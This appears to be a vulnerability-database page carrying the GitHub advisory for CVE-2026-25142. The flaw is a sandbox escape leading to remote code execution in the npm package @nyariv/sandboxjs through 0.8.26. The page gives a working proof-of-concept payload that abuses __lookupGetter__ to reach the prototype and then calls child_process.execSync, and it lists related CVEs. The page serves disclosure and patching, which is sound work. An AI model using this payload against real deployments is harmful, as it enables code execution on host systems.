CVE-2026-25142: SandboxJS Vulnerable to Prototype Pollution -> Sandbox Escape -> RCE
Summary SandboxJS does not properly restrict lookupGetter which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution. Details https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398 The Object prototype which contains lookupGetter is properly protected, but the special case for accessing function properties bypasses…
Published Feb 2, 2026 · Updated Feb 18, 2026
Affected packages
@nyariv/sandboxjs
- Ecosystem
- npm
- Affected
- <= 0.8.26
- Fixed in
- 0.8.27
- Check
npm ls @nyariv/sandboxjs
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
SandboxJS does not properly restrict __lookupGetter__ which can be used to obtain prototypes, which can be used for escaping the sandbox / remote code execution.
Details
https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398
The Object prototype which contains __lookupGetter__ is properly protected, but the special case for accessing function properties bypasses the prototype chain checks including the root Object prototype.
PoC
const s = require("@nyariv/sandboxjs").default;
const sb = new s();
payload = `
let getProto = Object.toString.__lookupGetter__("__proto__")
let m = getProto.call(new Map());
m.has = isFinite;
console.log(
isFinite.constructor(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);`
sb.compile(payload)().run();Impact
Prototype Pollution -> RCE
Credited to c0rydoras.
References
- https://github.com/nyariv/SandboxJS/security/advisories/GHSA-9p4w-fq8m-2hp7
- https://github.com/nyariv/SandboxJS/commit/75c8009db32e6829b0ad92ca13bf458178442bd3
- https://github.com/nyariv/SandboxJS/blob/f212a38fb5a6d4bc2bc2e2466c0c011ce8d41072/src/executor.ts#L368-L398
- https://nvd.nist.gov/vuln/detail/CVE-2026-25142
- https://github.com/advisories/GHSA-9p4w-fq8m-2hp7
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More npm vulnerabilities
All npm entriesCVE-2026-43898
SandboxJS has a sandbox escape via Function.caller leakage of internal call op
critical10.0May 11, 2026CVE-2026-34208
SandboxJS: Sandbox integrity escape
critical10.0Apr 3, 2026CVE-2026-26954
SandboxJS affected by a Sandbox Escape
critical10.0Mar 13, 2026CVE-2026-25881
@nyariv/sandboxjs has host prototype pollution from sandbox via array intermediary (sandbox escape)
critical9.0Feb 10, 2026CVE-2026-25520
@nyariv/sandboxjs has a Sandbox Escape issue
critical10.0Feb 5, 2026CVE-2026-25586
@nyariv/sandboxjs has Sandbox Escape via Prototype Whitelist Bypass and Host Prototype Pollution
critical10.0Feb 5, 2026
